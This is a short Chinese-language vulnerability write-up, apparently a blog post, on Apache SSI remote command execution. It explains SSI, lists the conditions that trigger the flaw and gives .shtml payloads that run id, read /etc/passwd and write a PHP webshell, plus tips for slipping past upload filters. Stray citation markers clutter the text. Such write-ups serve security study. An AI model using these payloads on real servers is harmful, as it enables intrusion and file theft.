Apache-Http-Server ND009 Apache SSI 远程命令执行漏洞

106 阅读1分钟

一、漏洞描述

  1. SSI功能机制 SSI是一种在HTML中嵌入服务器指令的技术(如 <!--#exec cmd="命令"-->),用于动态生成内容。当服务器开启SSI和CGI支持时,解析.shtml文件会执行其中的指令136。
  2. 漏洞触发条件
    • 服务器全局或特定应用启用了SSI(默认关闭)。
    • 同时开启CGI支持(允许执行外部程序)。
    • 攻击者能上传.shtml文件(如通过存在缺陷的上传功能)。
    • SSI目前已经很少使用,如果路径扫描的时候扫到shtml文件,可以尝试进行测试

二、漏洞复现与利用

  1. 攻击步骤

    • 上传恶意.shtml文件,内容包含指令:

      <!--#exec cmd="id" -->   <!-- 执行系统命令 -->
      <!--#exec cmd="cat /etc/passwd" --> <!-- 读取敏感文件 -->
      <!--#exec cmd="echo '<?php phpinfo();?>' > /var/www/html/shell.php" --> <!-- 写入WebShell -->:cite[1]:cite[7]:cite[9]
      
    • 访问上传文件(如 http://目标/upload/shell.shtml),服务器解析并执行指令,返回命令结果57。

  2. 利用场景

    • 绕过文件上传限制(如禁止.php但允许.shtml)38。
    • 结合其他漏洞(如路径遍历)扩大攻击面。